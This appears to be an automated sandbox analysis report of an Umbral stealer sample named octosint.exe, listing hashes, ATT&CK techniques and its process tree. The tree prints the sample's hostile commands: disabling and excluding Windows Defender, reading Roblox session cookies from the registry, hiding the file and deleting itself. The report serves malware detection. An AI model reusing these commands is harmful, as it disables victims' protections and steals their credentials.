umbral | f6978810fc08e07982be2acda6f8692bca7011119e15088fcb2ab006de8dece7

Analysis

max time kernel
90s
max time network
95s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
30/11/2024, 09:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

octosint.exe
Size

631KB
MD5

3fbddef1a1957c47cc788a7ea3be9bf1
SHA1

5d68695893be73ad26a1b6115ac38a3e72e11cbf
SHA256

f6978810fc08e07982be2acda6f8692bca7011119e15088fcb2ab006de8dece7
SHA512

76cb0b768c15464ae4dc41d90909a1c740de8e2b3f7b8d37f255068e5a0bd0c6d666e68fcfec47f6cca268de5cf24bc2a85800fb3fe3244fe25b60b8f17c5e54
SSDEEP

12288:5oZtL+EP8gGVK9rI8j967NokRRC9iMdRC:XI8LVK9rI8j967NokRRsiMdA

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2308-1-0x0000023773DA0000-0x0000023773E44000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1352	powershell.exe
2080	powershell.exe
3060	powershell.exe
1288	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	octosint.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	discord.com
1	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3792	cmd.exe
1036	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4060	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1036	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2308	octosint.exe
1352	powershell.exe
1352	powershell.exe
2080	powershell.exe
2080	powershell.exe
3060	powershell.exe
3060	powershell.exe
2960	powershell.exe
2960	powershell.exe
1288	powershell.exe
1288	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2308	octosint.exe
Token: SeIncreaseQuotaPrivilege	4080	wmic.exe
Token: SeSecurityPrivilege	4080	wmic.exe
Token: SeTakeOwnershipPrivilege	4080	wmic.exe
Token: SeLoadDriverPrivilege	4080	wmic.exe
Token: SeSystemProfilePrivilege	4080	wmic.exe
Token: SeSystemtimePrivilege	4080	wmic.exe
Token: SeProfSingleProcessPrivilege	4080	wmic.exe
Token: SeIncBasePriorityPrivilege	4080	wmic.exe
Token: SeCreatePagefilePrivilege	4080	wmic.exe
Token: SeBackupPrivilege	4080	wmic.exe
Token: SeRestorePrivilege	4080	wmic.exe
Token: SeShutdownPrivilege	4080	wmic.exe
Token: SeDebugPrivilege	4080	wmic.exe
Token: SeSystemEnvironmentPrivilege	4080	wmic.exe
Token: SeRemoteShutdownPrivilege	4080	wmic.exe
Token: SeUndockPrivilege	4080	wmic.exe
Token: SeManageVolumePrivilege	4080	wmic.exe
Token: 33	4080	wmic.exe
Token: 34	4080	wmic.exe
Token: 35	4080	wmic.exe
Token: 36	4080	wmic.exe
Token: SeIncreaseQuotaPrivilege	4080	wmic.exe
Token: SeSecurityPrivilege	4080	wmic.exe
Token: SeTakeOwnershipPrivilege	4080	wmic.exe
Token: SeLoadDriverPrivilege	4080	wmic.exe
Token: SeSystemProfilePrivilege	4080	wmic.exe
Token: SeSystemtimePrivilege	4080	wmic.exe
Token: SeProfSingleProcessPrivilege	4080	wmic.exe
Token: SeIncBasePriorityPrivilege	4080	wmic.exe
Token: SeCreatePagefilePrivilege	4080	wmic.exe
Token: SeBackupPrivilege	4080	wmic.exe
Token: SeRestorePrivilege	4080	wmic.exe
Token: SeShutdownPrivilege	4080	wmic.exe
Token: SeDebugPrivilege	4080	wmic.exe
Token: SeSystemEnvironmentPrivilege	4080	wmic.exe
Token: SeRemoteShutdownPrivilege	4080	wmic.exe
Token: SeUndockPrivilege	4080	wmic.exe
Token: SeManageVolumePrivilege	4080	wmic.exe
Token: 33	4080	wmic.exe
Token: 34	4080	wmic.exe
Token: 35	4080	wmic.exe
Token: 36	4080	wmic.exe
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeDebugPrivilege	3060	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeIncreaseQuotaPrivilege	3276	wmic.exe
Token: SeSecurityPrivilege	3276	wmic.exe
Token: SeTakeOwnershipPrivilege	3276	wmic.exe
Token: SeLoadDriverPrivilege	3276	wmic.exe
Token: SeSystemProfilePrivilege	3276	wmic.exe
Token: SeSystemtimePrivilege	3276	wmic.exe
Token: SeProfSingleProcessPrivilege	3276	wmic.exe
Token: SeIncBasePriorityPrivilege	3276	wmic.exe
Token: SeCreatePagefilePrivilege	3276	wmic.exe
Token: SeBackupPrivilege	3276	wmic.exe
Token: SeRestorePrivilege	3276	wmic.exe
Token: SeShutdownPrivilege	3276	wmic.exe
Token: SeDebugPrivilege	3276	wmic.exe
Token: SeSystemEnvironmentPrivilege	3276	wmic.exe
Token: SeRemoteShutdownPrivilege	3276	wmic.exe
Token: SeUndockPrivilege	3276	wmic.exe
Token: SeManageVolumePrivilege	3276	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2308 wrote to memory of 4080	2308	octosint.exe	77
PID 2308 wrote to memory of 4080	2308	octosint.exe	77
PID 2308 wrote to memory of 4036	2308	octosint.exe	80
PID 2308 wrote to memory of 4036	2308	octosint.exe	80
PID 2308 wrote to memory of 1352	2308	octosint.exe	82
PID 2308 wrote to memory of 1352	2308	octosint.exe	82
PID 2308 wrote to memory of 2080	2308	octosint.exe	84
PID 2308 wrote to memory of 2080	2308	octosint.exe	84
PID 2308 wrote to memory of 3060	2308	octosint.exe	86
PID 2308 wrote to memory of 3060	2308	octosint.exe	86
PID 2308 wrote to memory of 2960	2308	octosint.exe	88
PID 2308 wrote to memory of 2960	2308	octosint.exe	88
PID 2308 wrote to memory of 3276	2308	octosint.exe	90
PID 2308 wrote to memory of 3276	2308	octosint.exe	90
PID 2308 wrote to memory of 4480	2308	octosint.exe	92
PID 2308 wrote to memory of 4480	2308	octosint.exe	92
PID 2308 wrote to memory of 1964	2308	octosint.exe	94
PID 2308 wrote to memory of 1964	2308	octosint.exe	94
PID 2308 wrote to memory of 1288	2308	octosint.exe	96
PID 2308 wrote to memory of 1288	2308	octosint.exe	96
PID 2308 wrote to memory of 4060	2308	octosint.exe	98
PID 2308 wrote to memory of 4060	2308	octosint.exe	98
PID 2308 wrote to memory of 3792	2308	octosint.exe	100
PID 2308 wrote to memory of 3792	2308	octosint.exe	100
PID 3792 wrote to memory of 1036	3792	cmd.exe	102
PID 3792 wrote to memory of 1036	3792	cmd.exe	102

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4036	attrib.exe

C:\Users\Admin\AppData\Local\Temp\octosint.exe
"C:\Users\Admin\AppData\Local\Temp\octosint.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2308
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4080
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\octosint.exe"
  2⤵
  - Views/modifies file attributes
  PID:4036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\octosint.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2960
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3276
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4480
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1288
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\octosint.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3792
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1d3ea4fc04f2e2793ab2b91e9c428f63

SHA1
f0a18c9491bf229e1eec8e135e01dcb9d13ef235

SHA256
d25d8d12f8c81a4174ffc074fe69fa49bab60553f4aec9f4b0c32c7b902f4147

SHA512
bec76dca6bc34f040fc265ca065bb94d76d9e67b507182f7119aa5f98930942aa665b9709b6a59802e28a1c56b94fdad4ed4d7e6cdf9de79f035d5b9773d6897

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
6bddc96a32b9ed8fc70b141ccf4a39b2

SHA1
0f33c0699da40a5eadcec646791cf21cdb0dd7c6

SHA256
cb3853abe77eb0da8a1caccb49e97a573b6f35570722eb759116a645d724c132

SHA512
e41f1597b4129b759e4199db195df1c24e47cc47dc9850fab2d48e44bc3d37dc3658fbfbb62332a0b93c552587d7fab09de1634f605faa2209b8470c2a6eaca6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
38ecc5b95c11e5a77558753102979c51

SHA1
c0759b08ef377df9979d8835d8a7e464cd8eaf6b

SHA256
2eb69abe0af5a2fb5bb313533cef641e25016876b874353f7d737c7ad672c79e

SHA512
9bf4ce3bc097bdd0242bd105c936a9c9403d5ac83ec99e6a310591a7b8d26309485f3e0cdc4cba67c322f834c325a2b63a008adb078f3a3307094c4b68a48686

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5xzn2q1z.yxs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1352-9-0x000002006F1F0000-0x000002006F212000-memory.dmp

Filesize
136KB

Download
memory/1352-13-0x00007FFC2A030000-0x00007FFC2AAF2000-memory.dmp

Filesize
10.8MB

Download
memory/1352-14-0x00007FFC2A030000-0x00007FFC2AAF2000-memory.dmp

Filesize
10.8MB

Download
memory/1352-17-0x00007FFC2A030000-0x00007FFC2AAF2000-memory.dmp

Filesize
10.8MB

Download
memory/1352-3-0x00007FFC2A030000-0x00007FFC2AAF2000-memory.dmp

Filesize
10.8MB

Download
memory/2308-32-0x0000023776710000-0x0000023776760000-memory.dmp

Filesize
320KB

Download
memory/2308-31-0x0000023776690000-0x0000023776706000-memory.dmp

Filesize
472KB

Download
memory/2308-33-0x0000023775C30000-0x0000023775C4E000-memory.dmp

Filesize
120KB

Download
memory/2308-1-0x0000023773DA0000-0x0000023773E44000-memory.dmp

Filesize
656KB

Download
memory/2308-0-0x00007FFC2A033000-0x00007FFC2A035000-memory.dmp

Filesize
8KB

Download
memory/2308-68-0x0000023775C60000-0x0000023775C6A000-memory.dmp

Filesize
40KB

Download
memory/2308-69-0x0000023776360000-0x0000023776372000-memory.dmp

Filesize
72KB

Download
memory/2308-2-0x00007FFC2A030000-0x00007FFC2AAF2000-memory.dmp

Filesize
10.8MB

Download
memory/2308-88-0x00007FFC2A030000-0x00007FFC2AAF2000-memory.dmp

Filesize
10.8MB

Download